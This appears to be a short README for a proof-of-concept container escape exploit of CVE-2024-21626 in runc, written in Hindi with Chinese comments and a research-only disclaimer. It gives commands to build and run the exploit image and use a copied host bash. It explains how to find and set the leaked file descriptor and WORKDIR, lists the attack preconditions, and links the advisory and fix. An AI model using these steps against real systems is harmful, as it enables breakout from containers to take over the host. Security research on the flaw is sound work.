
केवल शिक्षा/शोध उद्देश्यों के लिए; शिक्षा/शोध से असंबंधित किसी भी गतिविधि से उत्पन्न जोखिम के लिए उपयोगकर्ता स्वयं जिम्मेदार है।
docker build . -t cve-2024-21626
docker run -it --rm cve-2024-21626 bash /poc.sh
# 另起一个terminal
/bin/bash.copy
विभिन्न docker/runc संस्करणों द्वारा उपयोग किए जाने वाले विशिष्ट फ़ाइल डिस्क्रिप्टर अलग-अलग होते हैं; उदाहरण के लिए, docker server:20.10.17 && runc version 1.1.2 के मामले में /proc/self/fd/9 का उपयोग करें। वास्तविक fd फ़ाइल खोले जाने के क्रम के आधार पर बदल सकता है; आधिकारिक दस्तावेज़ में कहा गया है कि अधिकांश मामलों में /proc/self/fd/7 का उपयोग किया जाना चाहिए। यदि आप वास्तव में उपयोग किए गए fd को जानना चाहते हैं, तो आप स्वयं एक runc संकलित कर सकते हैं और nsexec फ़ंक्शन में sleep जोड़ सकते हैं।
#使用ps 找到对应runc init进程的pid
ps -ef | grep runc
# 查看指向/sys/fs/cgroup的fd
ls -lh/proc/{pid runc init}/fd
संशोधन: Dockerfile में WORKDIR को संबंधित मान में बदलें।
निम्नलिखित शर्तों को एक साथ पूरा करें:
1. कंटेनर बना सकते हैं और निष्पादन हेतु कमांड निर्दिष्ट कर सकते हैं
2. कंटेनर द्वारा उपयोग की जाने वाली छवि निर्दिष्ट कर सकते हैं
TODO
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e